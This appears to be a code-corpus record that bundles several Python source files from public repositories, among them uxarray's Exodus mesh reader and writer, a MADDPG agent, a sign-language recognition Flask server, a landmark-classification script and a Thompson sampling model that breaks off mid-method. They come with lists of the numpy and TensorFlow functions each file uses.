using the uint;\n # 0: excluding the unit); mask can be 3D or 2D numpy array; use all the\n # units if some layer not in the dictionary; setting to None for using all\n #units for all layers;\n 'mask': None,\n}\n\n# Save the optional parameters\nsave_name = 'options.pkl'\nwith open(os.path.join(save_path, save_name), 'w') as f:\n pickle.dump(opts, f)\n\n# Reconstruction\nrecon_img, loss_list = reconstruct_image(features, net, **opts)\n\n# Save the results ------------------------------------------------------------\n\nsave_name = 'recon_img' + '.mat'\nsio.savemat(os.path.join(save_path, save_name), {'recon_img': recon_img})\n\nsave_name = 'recon_img' + '.jpg'\nPIL.Image.fromarray(normalise_img(recon_img)).save(os.path.join(save_path, save_name))\n\nsave_name = 'loss_list' + '.mat'\nsio.savemat(os.path.join(save_path, save_name), {'loss_list': loss_list})\n" ]
[ [ "numpy.linalg.norm", "numpy.load", "scipy.misc.imresize" ] ]
UXARRAY/uxarray
[ "6fc6af993c4d10194fbb6d7fbcae804bad4b1ad7" ]
[ "uxarray/_exodus.py" ]
[ "import xarray as xr\nimport numpy as np\nfrom pathlib import PurePath\nfrom datetime import datetime\n\n\n# Exodus Number is one-based.\ndef _read_exodus(filepath, ds_var_names):\n \"\"\"Exodus file reader.\n\n Parameters\n ----------\n\n filepath : str, optional\n Path of the file to be read in.\n \"\"\"\n\n print(\"Reading exodus file: \", filepath)\n\n # Not loading specific variables.\n # as there is no way to know number of face types etc. without loading\n # connect1, connect2, connect3, etc..\n ext_ds = xr.open_dataset(filepath, mask_and_scale=False)\n ds = xr.Dataset()\n\n # populate ds\n # self.__init_mesh2__()\n ds[\"Mesh2\"] = xr.DataArray(\n attrs={\n \"cf_role\": \"mesh_topology\",\n \"long_name\": \"Topology data of unstructured mesh\",\n \"topology_dimension\": -1,\n \"node_coordinates\": \"Mesh2_node_x Mesh2_node_y Mesh2_node_z\",\n \"node_dimension\": \"nMesh2_node\",\n \"face_node_connectivity\": \"Mesh2_face_nodes\",\n \"face_dimension\": \"nMesh2_face\"\n })\n\n # find max face nodes\n max_face_nodes = 0\n for dim in ext_ds.dims:\n if \"num_nod_per_el\" in dim:\n if ext_ds.dims[dim] > max_face_nodes:\n max_face_nodes = ext_ds.dims[dim]\n\n # create an empty conn array for storing all blk face_nodes_data\n conn = np.empty((0, max_face_nodes))\n\n for key, value in ext_ds.variables.items():\n if key == \"qa_records\":\n # TODO: Use the data here for Mesh2 construct, if required.\n pass\n elif key == \"coord\":\n ds.Mesh2.attrs['topology_dimension'] = np.int32(\n ext_ds.dims['num_dim'])\n ds[\"Mesh2_node_x\"] = xr.DataArray(\n data=ext_ds.coord[0],\n dims=[\"nMesh2_node\"],\n attrs={\n \"standard_name\": \"longitude\",\n \"long_name\": \"longitude of mesh nodes\",\n \"units\": \"degress_east\",\n })\n ds[\"Mesh2_node_y\"] = xr.DataArray(\n data=ext_ds.coord[1],\n dims=[\"nMesh2_node\"],\n attrs={\n \"standard_name\": \"lattitude\",\n \"long_name\": \"latitude of mesh nodes\",\n \"units\": \"degrees_north\",\n })\n if ext_ds.dims['num_dim'] > 2:\n ds[\"Mesh2_node_z\"] = xr.DataArray(\n data=ext_ds.coord[2],\n dims=[\"nMesh2_node\"],\n attrs={\n \"standard_name\": \"spherical\",\n \"long_name\": \"elevation\",\n \"units\": \"degree\",\n })\n elif key == \"coordx\":\n ds[\"Mesh2_node_x\"] = xr.DataArray(\n data=ext_ds.coordx,\n dims=[\"nMesh2_node\"],\n attrs={\n \"standard_name\": \"longitude\",\n \"long_name\": \"longitude of mesh nodes\",\n \"units\": \"degress_east\",\n })\n elif key == \"coordy\":\n ds[\"Mesh2_node_y\"] = xr.DataArray(\n data=ext_ds.coordx,\n dims=[\"nMesh2_node\"],\n attrs={\n \"standard_name\": \"lattitude\",\n \"long_name\": \"latitude of mesh nodes\",\n \"units\": \"degrees_north\",\n })\n elif key == \"coordz\":\n if ext_ds.dims['num_dim'] > 2:\n ds[\"Mesh2_node_z\"] = xr.DataArray(\n data=ext_ds.coordx,\n dims=[\"nMesh2_node\"],\n attrs={\n \"standard_name\": \"spherical\",\n \"long_name\": \"elevation\",\n \"units\": \"degree\",\n })\n elif \"connect\" in key:\n # check if num face nodes is less than max.\n if value.data.shape[1] < max_face_nodes:\n # create a temporary array to store connectivity\n tmp_conn = np.empty((value.data.shape[0], max_face_nodes))\n tmp_conn.fill(\n 0\n ) # exodus in 1-based, fill with zeros here; during assignment subtract 1\n tmp_conn[:value.data.shape[0], :value.data.\n shape[1]] = value.data\n elif value.data.shape[1] == max_face_nodes:\n tmp_conn = value.data\n else:\n raise \"found face_nodes_dim greater than nMaxMesh2_face_nodes\"\n\n # concatenate to the previous blk\n conn = np.concatenate((conn, tmp_conn))\n # find the elem_type as etype for this element\n for k, v in value.attrs.items():\n if k == \"elem_type\":\n # TODO: etype if not used now, remove if it'll never be required\n etype = v\n\n # outside the k,v for loop\n # set the face nodes data compiled in \"connect\" section\n ds[\"Mesh2_face_nodes\"] = xr.DataArray(\n data=(conn[:] - 1),\n dims=[\"nMesh2_face\", \"nMaxMesh2_face_nodes\"],\n attrs={\n \"cf_role\":\n \"face_node_connectivity\",\n \"_FillValue\":\n -1,\n \"start_index\":\n np.int32(\n 0) # NOTE: This might cause an error if numbering has holes\n })\n print(\"Finished reading exodus file.\")\n\n if ext_ds.dims['num_dim'] > 2:\n # set coordinates\n ds = ds.set_coords([\"Mesh2_node_x\", \"Mesh2_node_y\", \"Mesh2_node_z\"])\n else:\n ds = ds.set_coords([\"Mesh2_node_x\", \"Mesh2_node_y\"])\n\n return ds\n\n\ndef _write_exodus(ds, outfile, ds_var_names):\n \"\"\"Exodus file writer.\n\n Parameters\n ----------\n\n ds : xarray.Dataset, required\n Dataset to be written to exodus file.\n outfile : string, required\n Name of output file\n \"\"\"\n # Note this is 1-based unlike native Mesh2 construct\n print(\"Writing exodus file: \", outfile)\n\n exo_ds = xr.Dataset()\n\n path = PurePath(outfile)\n out_filename = path.name\n\n now = datetime.now()\n date = now.strftime(\"%Y:%m:%d\")\n time = now.strftime(\"%H:%M:%S\")\n\n title = f\"uxarray(\" + str(out_filename) + \")\" + date + \": \" + time\n fp_word = np.int32(8)\n exo_version = np.float32(5.0)\n api_version = np.float32(5.0)\n exo_ds.attrs = {\n \"api_version\": api_version,\n \"version\": exo_version,\n \"floating_point_word_size\": fp_word,\n \"file_size\": 0,\n \"title\": title\n }\n\n exo_ds[\"time_whole\"] = xr.DataArray(data=[], dims=[\"time_step\"])\n\n # qa_records\n # version identifier of the application code: https://gsjaardema.github.io/seacas-docs/exodusII-new.pdf page: 12\n ux_exodus_version = 1.0\n qa_records = [[\"uxarray\"], [ux_exodus_version], [date], [time]]\n exo_ds[\"qa_records\"] = xr.DataArray(data=xr.DataArray(\n np.array(qa_records, dtype='str')),\n dims=[\"four\", \"num_qa_rec\"])\n\n # get orig dimension from Mesh2 attribute topology dimension\n dim = ds[ds_var_names[\"Mesh2\"]].topology_dimension\n\n c_data = []\n if dim == 2:\n c_data = xr.DataArray([\n ds[ds_var_names[\"Mesh2_node_x\"]].data.tolist(),\n ds[ds_var_names[\"Mesh2_node_y\"]].data.tolist()\n ])\n elif dim == 3:\n c_data = xr.DataArray([\n ds[ds_var_names[\"Mesh2_node_x\"]].data.tolist(),\n ds[ds_var_names[\"Mesh2_node_y\"]].data.tolist(),\n ds[ds_var_names[\"Mesh2_node_z\"]].data.tolist()\n ])\n\n exo_ds[\"coord\"] = xr.DataArray(data=c_data, dims=[\"num_dim\", \"num_nodes\"])\n\n # process face nodes, this array holds num faces at corresponding location\n # eg num_el_all_blks = [0, 0, 6, 12] signifies 6 TRI and 12 SHELL elements\n num_el_all_blks = np.zeros(ds[ds_var_names[\"nMaxMesh2_face_nodes\"]].size,\n \"i4\")\n # this list stores connectivity without filling\n conn_nofill = []\n\n # store the number of faces in an array\n for row in ds[ds_var_names[\"Mesh2_face_nodes\"]].data:\n\n # find out -1 in each row, this indicates lower than max face nodes\n arr = np.where(row == -1)\n # arr[0].size returns the location of first -1 in the conn list\n # if > 0, arr[0][0] is the num_nodes forming the face\n if arr[0].size > 0:\n # increment the number of faces at the corresponding location\n num_el_all_blks[arr[0][0] - 1] += 1\n # append without -1s eg. [1, 2, 3, -1] to [1, 2, 3]\n # convert to list (for sorting later)\n row = row[:(arr[0][0])].tolist()\n list_node = list(map(int, row))\n conn_nofill.append(list_node)\n elif arr[0].size == 0:\n # increment the number of faces for this \"nMaxMesh2_face_nodes\" face\n num_el_all_blks[ds[ds_var_names[\"nMaxMesh2_face_nodes\"]].size -\n 1] += 1\n # get integer list nodes\n list_node = list(map(int, row.tolist()))\n conn_nofill.append(list_node)\n else:\n raise RuntimeError(\n \"num nodes in conn array is greater than nMaxMesh2_face_nodes. Abort!\"\n )\n # get number of blks found\n num_blks = np.count_nonzero(num_el_all_blks)\n\n # sort connectivity by size, lower dim faces first\n conn_nofill.sort(key=len)\n\n # get index of blocks found\n nonzero_el_index_blks = np.nonzero(num_el_all_blks)\n\n # break Mesh2_face_nodes into blks\n start = 0\n for blk in range(num_blks):\n blkID = blk + 1\n str_el_in_blk = \"num_el_in_blk\" + str(blkID)\n str_nod_per_el = \"num_nod_per_el\" + str(blkID)\n str_att_in_blk = \"num_att_in_blk\" + str(blkID)\n str_global_id = \"global_id\" + str(blkID)\n str_edge_type = \"edge_type\" + str(blkID)\n str_attrib = \"attrib\" + str(blkID)\n str_connect = \"connect\" + str(blkID)\n\n # get element type\n num_nodes = len(conn_nofill[start])\n element_type = _get_element_type(num_nodes)\n\n # get number of faces for this block\n num_faces = num_el_all_blks[nonzero_el_index_blks[0][blk]]\n # assign Data variables\n # convert list to np.array, sorted list guarantees we have the correct info\n conn_blk = conn_nofill[start:start + num_faces]\n conn_np = np.array([np.array(xi, dtype=\"i4\") for xi in conn_blk])\n exo_ds[str_connect] = xr.DataArray(data=xr.DataArray((conn_np[:] + 1)),\n dims=[str_el_in_blk, str_nod_per_el],\n attrs={\"elem_type\": element_type})\n\n # edge type\n exo_ds[str_edge_type] = xr.DataArray(\n data=xr.DataArray(np.zeros((num_faces, num_nodes), \"i4\")),\n dims=[str_el_in_blk, str_nod_per_el])\n\n # global id\n gid = np.arange(start + 1, start + num_faces + 1, 1)\n exo_ds[str_global_id] = xr.DataArray(data=(gid), dims=[str_el_in_blk])\n\n # attrib\n # TODO: fix num attr\n num_attr = 1\n exo_ds[str_attrib] = xr.DataArray(data=xr.DataArray(\n np.zeros((num_faces, num_attr), float)),\n dims=[str_el_in_blk, str_att_in_blk])\n\n start = num_faces\n\n # blk for loop ends\n\n # eb_prop1\n prop1_vals = np.arange(1, num_blks + 1, 1)\n exo_ds[\"eb_prop1\"] = xr.DataArray(data=prop1_vals,\n dims=[\"num_el_blk\"],\n attrs={\"name\": \"ID\"})\n # eb_status\n exo_ds[\"eb_status\"] = xr.DataArray(data=xr.DataArray(\n np.ones([num_blks], dtype=\"i4\")),\n dims=[\"num_el_blk\"])\n\n # eb_names\n eb_names = np.empty(num_blks, dtype='str')\n exo_ds[\"eb_names\"] = xr.DataArray(data=xr.DataArray(eb_names),\n dims=[\"num_el_blk\"])\n if dim == 2:\n cnames = [\"x\", \"y\"]\n elif dim == 3:\n cnames = [\"x\", \"y\", \"z\"]\n else:\n raise RuntimeError(\"dim must be 2 or 3\")\n\n exo_ds[\"coor_names\"] = xr.DataArray(data=xr.DataArray(\n np.array(cnames, dtype='str')),\n dims=[\"num_dim\"])\n\n # done processing write the file to disk\n exo_ds.to_netcdf(outfile)\n print(\"Wrote: \", outfile)\n\n\ndef _get_element_type(num_nodes):\n \"\"\"Helper function to get exodus element type from number of nodes.\"\"\"\n ELEMENT_TYPE_DICT = {\n 2: \"BEAM\",\n 3: \"TRI\",\n 4: \"SHELL4\",\n 5: \"SHELL5\",\n 6: \"TRI6\",\n 7: \"TRI7\",\n 8: \"SHELL8\",\n }\n element_type = ELEMENT_TYPE_DICT[num_nodes]\n return element_type\n" ]
[ [ "numpy.concatenate", "numpy.count_nonzero", "numpy.array", "numpy.empty", "numpy.zeros", "numpy.ones", "numpy.nonzero", "numpy.where", "numpy.float32", "numpy.arange", "numpy.int32" ] ]
bbrito/malib
[ "f6e6c3a48cf62fe7a2b288ebfefa9a4146d92db5" ]
[ "malib/agents/ddpg/maddpg.py" ]
[ "# Created by yingwen at 2019-03-15\nimport numpy as np\nimport tensorflow as tf\n\nfrom malib.agents.base_agent import OffPolicyAgent\nfrom malib.core import Serializable\nfrom malib.utils import tf_utils\n\n\nclass MADDPGAgent(OffPolicyAgent):\n def __init__(self, env_specs, policy, qf, replay_buffer, policy_optimizer=tf.optimizers.Adam(),\n qf_optimizer=tf.optimizers.Adam(), exploration_strategy=None, exploration_interval=10,\n target_update_tau=0.01, target_update_period=1, td_errors_loss_fn=None, gamma=0.95, reward_scale=1.0,\n gradient_clipping=None, train_sequence_length=None, name='MADDPG', agent_id=-1):\n self._Serializable__initialize(locals())\n self._agent_id = agent_id\n self._env_specs = env_specs\n if self._agent_id >= 0:\n observation_space = self._env_specs.observation_space[self._agent_id]\n action_space = self._env_specs.action_space[self._agent_id]\n else:\n observation_space = self._env_specs.observation_space\n action_space = self._env_specs.action_space\n\n self._exploration_strategy = exploration_strategy\n\n self._target_policy = Serializable.clone(policy, name='target_policy_agent_{}'.format(self._agent_id))\n self._target_qf = Serializable.clone(qf, name='target_qf_agent_{}'.format(self._agent_id))\n\n self._policy_optimizer = policy_optimizer\n self._qf_optimizer = qf_optimizer\n\n self._target_update_tau = target_update_tau\n self._target_update_period = target_update_period\n self._td_errors_loss_fn = (td_errors_loss_fn or tf.losses.Huber)\n self._gamma = gamma\n self._reward_scale = reward_scale\n self._gradient_clipping = gradient_clipping\n self._train_step = 0\n self._exploration_interval = exploration_interval\n self._exploration_status = False\n\n self.required_experiences = ['observation', 'actions', 'rewards', 'next_observations', 'opponent_actions',\n 'target_actions']\n\n super(MADDPGAgent, self).__init__(observation_space, action_space, policy, qf, replay_buffer,\n train_sequence_length=train_sequence_length, name=name, )\n\n def act(self, observation, step=None, use_target=False):\n # if use_target is False:\n # observation = observation[None]\n # if use_target and self._target_policy is not None:\n # return self._target_policy.get_actions_np(observation)\n # if self._exploration_strategy is not None and self._exploration_status:\n # if step is None:\n # step = self._train_step\n # if step % self._exploration_interval == 0:\n # self._exploration_strategy.reset()\n # return self._exploration_strategy.get_actions(self._train_step, observation, self._policy)\n # policy = self._policy\n # return policy.get_actions_np(observation)\n if len(observation.shape) < 2:\n observation = np.array([observation])\n if use_target and self._target_policy is not None:\n policy = self._target_policy\n actions = policy.get_actions_np(observation)\n return policy.get_actions_np(observation)\n if self._exploration_strategy is not None and self._exploration_status:\n if step is None:\n step = self._train_step\n if step % self._exploration_interval == 0:\n self._exploration_strategy.reset()\n return self._exploration_strategy.get_action(self._train_step, observation, self._policy)\n policy = self._policy\n return policy.get_actions_np(observation)[0]\n\n def init_opt(self):\n tf_utils.soft_variables_update(self._policy.trainable_variables, self._target_policy.trainable_variables,\n tau=1.0)\n tf_utils.soft_variables_update(self._qf.trainable_variables, self._target_qf.trainable_variables, tau=1.0)\n self._exploration_status = True\n\n def init_eval(self):\n self._exploration_status = False\n\n def _update_target(self):\n tf_utils.soft_variables_update(self._policy.trainable_variables, self._target_policy.trainable_variables,\n tau=self._target_update_tau)\n tf_utils.soft_variables_update(self._qf.trainable_variables, self._target_qf.trainable_variables,\n tau=self._target_update_tau)\n\n def _critic_train(self, batch, weights=None):\n critic_variables = self._qf.trainable_variables\n with tf.GradientTape(watch_accessed_variables=False) as tape:\n assert critic_variables, 'No qf variables to optimize.'\n tape.watch(critic_variables)\n critic_loss = self.critic_loss(batch['observations'], batch['actions'], batch['opponent_actions'],\n batch['target_actions'], batch['rewards'], batch['next_observations'],\n weights=weights)\n tf.debugging.check_numerics(critic_loss, 'qf loss is inf or nan.')\n critic_grads = tape.gradient(critic_loss, critic_variables)\n tf_utils.apply_gradients(critic_grads, critic_variables, self._qf_optimizer, self._gradient_clipping)\n return critic_loss\n\n def _actor_train(self, batch, weights=None):\n actor_variables = self._policy.trainable_variables\n with tf.GradientTape(watch_accessed_variables=False) as tape:\n assert actor_variables, 'No actor variables to optimize.'\n tape.watch(actor_variables)\n actor_loss = self.actor_loss(batch['observations'], batch['opponent_actions'], weights=weights)\n tf.debugging.check_numerics(actor_loss, 'Actor loss is inf or nan.')\n actor_grads = tape.gradient(actor_loss, actor_variables)\n tf_utils.apply_gradients(actor_grads, actor_variables, self._policy_optimizer, self._gradient_clipping)\n return actor_loss\n\n def _train(self, batch, weights=None):\n critic_loss = self._critic_train(batch, weights)\n actor_loss = self._actor_train(batch, weights)\n\n self._train_step += 1\n\n if self._train_step % self._target_update_period == 0:\n self._update_target()\n\n losses = {'pg_loss': actor_loss.numpy(), 'critic_loss': critic_loss.numpy(), }\n\n return losses\n\n @tf.function\n def critic_loss(self, observations, actions, opponent_actions, target_actions, rewards, next_observations,\n weights=None):\n \"\"\"Computes the critic loss for DDPG training.\n Args:\n observations: A batch of observations.\n actions: A batch of actions.\n rewards: A batch of rewards.\n next_observations: A batch of next observations.\n weights: Optional scalar or element-wise (per-batch-entry) importance\n weights.\n Returns:\n critic_loss: A scalar critic loss.\n \"\"\"\n rewards = tf.reshape(rewards, shape=(-1, 1))\n # target_actions = self._target_policy.get_actions(next_observations)\n target_critic_input = [next_observations, target_actions]\n target_q_values = self._target_qf.get_values(target_critic_input)\n target_q_values = tf.squeeze(target_q_values)\n\n td_targets = tf.stop_gradient(self._reward_scale * rewards + self._gamma * target_q_values)\n critic_net_input = [observations, tf.concat((actions, opponent_actions), axis=1)]\n q_values = self._qf.get_values(critic_net_input)\n q_values = tf.squeeze(q_values)\n critic_loss = self._td_errors_loss_fn(reduction=tf.losses.Reduction.NONE)(td_targets, q_values)\n\n if weights is not None:\n critic_loss = weights * critic_loss\n\n critic_loss = tf.reduce_mean(critic_loss)\n return critic_loss\n\n @tf.function\n def actor_loss(self, observations, opponent_actions, weights=None):\n \"\"\"Computes the actor_loss for DDPG training.\n Args:\n observations: A batch of observations.\n weights: Optional scalar or element-wise (per-batch-entry) importance\n weights.\n # TODO: Add an action norm regularizer.\n Returns:\n actor_loss: A scalar actor loss.\n \"\"\"\n actions = self._policy.get_actions(observations)\n actions = tf.concat((actions, opponent_actions), 1)\n q_values = self._qf.get_values([observations, actions])\n q_values = tf.squeeze(q_values)\n if weights is not None:\n q_values = weights * q_values\n actor_loss = -tf.reduce_mean(q_values)\n # print(actor_loss, 'actor_loss')\n return actor_loss\n" ]
[ [ "numpy.array", "tensorflow.concat", "tensorflow.debugging.check_numerics", "tensorflow.GradientTape", "tensorflow.optimizers.Adam", "tensorflow.reshape", "tensorflow.squeeze", "tensorflow.reduce_mean", "tensorflow.stop_gradient" ] ]
alanland/ml-pratice
[ "b1e7c753d347d8d97c4a463980f41a8252833f01" ]
[ "plot/impshow_ex.py" ]
[ "# -----------------------------------------------------------------------------\n# Copyright (c) 2015, Nicolas P. Rougier. All Rights Reserved.\n# Distributed under the (new) BSD License. See LICENSE.txt for more info.\n# -----------------------------------------------------------------------------\nimport numpy as np\n\nimport matplotlib.pyplot as plt\n\n\ndef f(x, y):\n return (1 - x / 2 + x ** 5 + y ** 3) * np.exp(-x ** 2 - y ** 2)\n\n\nn = 10\nx = np.linspace(-3, 3, 3.5 * n)\ny = np.linspace(-3, 3, 3.0 * n)\nX, Y = np.meshgrid(x, y)\nZ = f(X, Y)\n\nplt.axes([0.025, 0.025, 0.95, 0.95])\nplt.imshow(Z, interpolation='nearest', cmap='bone', origin='lower')\nplt.colorbar(shrink=.92)\n\nplt.xticks([]), plt.yticks([])\n# savefig('../figures/imshow_ex.png', dpi=48)\nplt.show()\n" ]
[ [ "matplotlib.pyplot.colorbar", "numpy.exp", "matplotlib.pyplot.yticks", "matplotlib.pyplot.axes", "matplotlib.pyplot.show", "numpy.linspace", "numpy.meshgrid", "matplotlib.pyplot.xticks", "matplotlib.pyplot.imshow" ] ]
simonefinelli/ASL-Real-time-Recognition
[ "3576051d3aa8ca3935ee5aeb3275ec5dec711821" ]
[ "web app/server.py" ]
[ "import base64\nimport io\n\nimport cv2\nimport numpy as np\nfrom PIL import Image\nfrom flask import Flask, render_template\nfrom flask_socketio import SocketIO, emit\nfrom tensorflow.keras.models import load_model\n\n# global variables\nlabels = {\n 0: 'book',\n 1: 'chair',\n 2: 'clothes',\n 3: 'computer',\n 4: 'drink',\n 5: 'drum',\n 6: 'family',\n 7: 'football',\n 8: 'go',\n 9: 'hat',\n 10: 'hello',\n 11: 'kiss',\n 12: 'like',\n 13: 'play',\n 14: 'school',\n 15: 'street',\n 16: 'table',\n 17: 'university',\n 18: 'violin',\n 19: 'wall'\n}\n\napp = Flask(__name__)\nsocketio = SocketIO(app)\n\n\[email protected]('/', methods=['POST', 'GET'])\ndef index():\n # home Page\n return render_template('index.html')\n\n\[email protected]('image')\ndef image(data_image):\n # define empty buffer\n frame_buffer = np.empty((0, *dim, channels))\n\n # unpack request\n for data in data_image:\n # decode and convert the request in image\n img = Image.open(io.BytesIO(base64.b64decode(data[23:])))\n # converting RGB to BGR (opencv standard)\n frame = cv2.cvtColor(np.array(img), cv2.COLOR_RGB2BGR)\n # process the frame\n frame_res = cv2.resize(frame, dim)\n frame_res = frame_res / 255.0\n # append the frame to buffer\n frame_resh = np.reshape(frame_res, (1, *frame_res.shape))\n frame_buffer = np.append(frame_buffer, frame_resh, axis=0)\n\n frame_buffer_resh = frame_buffer.reshape(1, *frame_buffer.shape)\n # model prediction\n predictions = model.predict(frame_buffer_resh)[0]\n # get the best prediction\n best_pred_idx = np.argmax(predictions)\n acc_best_pred = predictions[best_pred_idx]\n # check mislabeling\n if acc_best_pred > threshold:\n gloss = labels[best_pred_idx]\n else:\n gloss = 'none'\n # emit the predicted gloss to the client\n emit('response_back', gloss.upper())\n\n\nif __name__ == '__main__':\n # settings\n dim = (224, 224)\n frames = 10\n channels = 3\n model_path = './model/WLASL20c_model.h5'\n threshold = .50\n\n # load model\n model = load_model(model_path)\n\n # start application\n socketio.run(app=app, host='127.0.0.1', port=5000)\n" ]
[ [ "numpy.array", "numpy.empty", "numpy.reshape", "tensorflow.keras.models.load_model", "numpy.argmax", "numpy.append" ] ]
LeadingIndiaAI/Convolutional-Neural-Network-based-approach-for-Landmark-Recognition
[ "d180b1754200c10b824d75c08322051b949c85ea" ]
[ "landmark.py" ]
[ "import numpy as np\nimport pandas as pd\nfrom keras.models import Model\nfrom keras.layers import Dense,Conv2D,MaxPooling2D,Flatten,Dropout\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.preprocessing import image\nfrom keras.applications import VGG16\nfrom keras.optimizers import Adam\nimport keras.backend as K\nK.set_image_dim_ordering('tf')\n\n#Generating training and testing datasets\ntrain_datagen= ImageDataGenerator(rescale=1./255, shear_range=0.2, zoom_range=0.1, horizontal_flip= True)\nvalid_datagen= ImageDataGenerator(rescale=1./255)\nsize=(128,128)\nin_shape=(128,128,3)\ntrain_set= train_datagen.flow_from_directory('Final/train', \n target_size=size, batch_size=100, class_mode='categorical', \n shuffle=True, seed=20)\nvalid_set= valid_datagen.flow_from_directory('Final/val', \n target_size=size, batch_size=100, class_mode='categorical', \n shuffle=False)\n\n#using pre-trained model\nbase_model=VGG16(input_shape=in_shape, weights='imagenet', include_top=False)\n\nx=base_model.output\nx=Conv2D(32, (3,3), activation='relu')(x)\nx=MaxPooling2D(pool_size=(2,2))(x)\nx=Flatten()(x)\nx=Dense(units=128, activation='relu')(x)\nx=Dense(units=64, activation='relu')(x)\nx=Dense(units=32, activation='relu')(x)\nx=Dense(units=14916, activation='softmax')(x)\n\nmodel=Model(inputs=base_model.inputs, outputs=x)\n\nfor layer in model.layers[:16]:\n layer.trainable=False\n\nfor layer in model.layers[16:]:\n layer.trainable=True\n\n#Compile and fit the datasets\nmodel.compile(optimizer=Adam(lr=0.001), loss='categorical_crossentropy', metrics=['accuracy'])\nstep_size_train=train_set.n//train_set.batch_size\nstep_size_valid=valid_set.n//valid_set.batch_size\nmodel.fit_generator(train_set, steps_per_epoch=step_size_train, epochs=60, \n validation_data= valid_set, validation_steps=step_size_valid)\n\nmodel.save('save_model.h5')\n\n#Predict for new images\nimport os\nlabel=os.listdir('Final/test')\npred=np.array([])\nconf=np.array([])\ntrue=np.array([])\ni=0\nfor a in label:\n\tfor st in os.listdir('Final/test/'+a):\n\t\timg=image.load_img(('Final/test/'+a+'/')+st, target_size=size)\n\t\timg=image.img_to_array(img)\n\t\timg=img.reshape(1,128,128,3)\n\t\toutput=model.predict(img)\n\t\tpred=np.append(pred, (np.argmax(output[0])))\n\t\tconf=np.append(conf, np.amax(output[0]))\n\t\ttrue=np.append(true, int(a))\n\t\ti+=1\n\n#Find and print GAP score\ndef GAP(pred, conf, true, return_x=False):\n x = pd.DataFrame({'pred': pred, 'conf': conf, 'true': true})\n x.sort_values('conf', ascending=False, inplace=True, na_position='last')\n x['correct'] = (x.true == x.pred).astype(int)\n x['prec_k'] = x.correct.cumsum() / (np.arange(len(x)) + 1)\n x['term'] = x.prec_k * x.correct\n gap = x.term.sum() / x.true.count()\n if return_x:\n return gap, x\n else:\n return gap\n\ngap=GAP(pred, conf, true)\nprint('GAP score: ',gap)\n\n" ]
[ [ "pandas.DataFrame", "numpy.array", "numpy.argmax", "numpy.amax" ] ]
elina-israyelyan/thompson-sampling
[ "784dd09b56f933f9aa8d7b3555a65b1762bfb7e4" ]
[ "thompson_sampling/model/normal_distribution.py" ]
[ "import logging\nimport pickle\nimport random\nfrom statistics import mode\n\nimport numpy as np\nimport pandas as pd\nimport plotly.graph_objects as go\nfrom scipy.stats import norm\n\nfrom thompson_sampling.model.base import BaseModel\n\n\nclass NormalDistributionModel(BaseModel):\n \"\"\"\n Model for implementing Thompson Sampling with Normal distributions.\n \"\"\"\n\n def __init__(self):\n super().__init__()\n self.arm_dist_params = None\n self.sum_of_rewards = None\n self.arm_labels = []\n self.predicted_best_rewards = None\n\n @property\n def arm_labels(self):\n return self._arm_labels\n\n @arm_labels.setter\n def arm_labels(self, arm_labels):\n self.number_of_plays = [0] * len(arm_labels)\n self.arm_dist_params = [(0, 1)] * len(arm_labels) # giving the starting number_of_plays, means and sigmas\n self.sum_of_rewards = [0] * len(arm_labels)\n self._arm_labels = arm_labels\n\n def fit(self, data: pd.DataFrame, prefit: bool = True, exploration_time: int = 10):\n \"\"\"\n Method to fit the data to the Binomial Thompson Sampling model\n Parameters\n ----------\n data : pandas.DataFrame\n Data to fit the model.\n prefit : bool\n If True use the previous, trained parameters of normal distribution for each arm.\n exploration_time: int\n The amount of time points to explore before updating the distribution parameters.\n Returns\n -------\n None\n \"\"\"\n if not self.arm_labels or not prefit:\n self.arm_labels = data.columns.tolist()\n for i in range(len(data)):\n best_arm_label = self.predict() # get best reward giving arm\n best_arm = self.arm_labels.index(best_arm_label)\n try:\n reward = data[best_arm_label].tolist()[i]\n except KeyError as e:\n logging.warning(\"best arm selected was not in the new data, \"\n \"so we dont know if there is a reward or not\")\n continue\n self.number_of_plays[best_arm] += 1\n self.sum_of_rewards[best_arm] += reward\n if sum(self.number_of_plays) % exploration_time == 0:\n # check if exploration time is over and update the parameters\n for arm in range(len(self.arm_labels)):\n number_of_plays = self.number_of_plays[arm]\n self.arm_dist_params[arm] = (\n (1 / (number_of_plays + 1)) * self.sum_of_rewards[arm], 1 / (number_of_plays + 1))\n\n def predict(self):\n \"\"\"\n Predict which arm is the most reward bringing at current time.\n Returns\n -------\n str\n The name of the arm which gave the most probability to have a reward.\n \"\"\"\n max_value = float(\"-inf\")\n best_arm = -1\n for arm in range(len(self.arm_labels)): # for each arm get a sample from its distribution\n myu, sigma = self.arm_dist_params[arm]\n arm_reward = np.random.normal(myu, sigma)\n if arm_reward > max_value: # check if current arm gave the maximum reward rate and update the maximum.\n max_value = arm_reward\n best_arm = arm\n return self.arm_labels[best_arm]\n\n def predict_reward(self):\n \"\"\"\n Predict which arm is the most reward bringing at current time.\n Returns\n -------\n str\n The name of the arm which gave the most probability to have a reward.\n \"\"\"\n max_value = float(\"-inf\")\n best_arm = -1\n for arm in range(len(self.arm_labels)):\n myu, sigma = self.arm_dist_params[arm]\n arm_reward = np.random.normal(myu, sigma)\n if arm_reward > max_value:\n max_value = arm_reward\n best_arm = arm\n return self.arm_labels[best_arm], max_value\n\n def save_model(self, save_path: str = \"./\", version: str = \"latest\"):\n \"\"\"\n Save the model parameters in the mentioned path.\n Parameters\n ----------\n save_path : str\n Path where the model needs to be saved.\n version : str\n The version suffix which will be added to the model path.\n\n Returns\n -------\n None\n Saves the model in the save_path.\n\n \"\"\"\n with open(save_path + \"model_\" + version + \".pkl\", 'wb') as f: # pickle the model's parameters\n pickle.dump({\n \"arm_dist_params\": self.arm_dist_params,\n \"arm_labels\": self.arm_labels,\n \"number_of_plays\": self.number_of_plays,\n \"sum_of_rewards\": self.sum_of_rewards}, f, protocol=pickle.HIGHEST_PROTOCOL)\n\n def load_model(self, load_path: str = \"./\", version: str = \"latest\"):\n \"\"\"\n Load model from the mentioned path.\n Parameters\n ----------\n load_path : str\n Path from which the model should be loaded.\n version : str\n The version of the model which should be loaded.\n\n Returns\n -------\n None\n Loads the parameters of the model from the path.\n \"\"\"\n with open(load_path + \"model_\" + version + \".pkl\", 'rb') as f: # load pickle file\n model = pickle.load(f)\n self.arm_dist_params, self.arm_labels, self.number_of_plays, self.sum_of_rewards = (\n model[\"arm_dist_params\"],\n model[\"arm_labels\"],\n model[\"number_of_plays\"],\n model[\"sum_of_rewards\"]) # update parameters\n\n def plot_current_pdf(self, label: str = None, range_of_plot: tuple = (-1, 1), plot_frequency: int = 100):\n 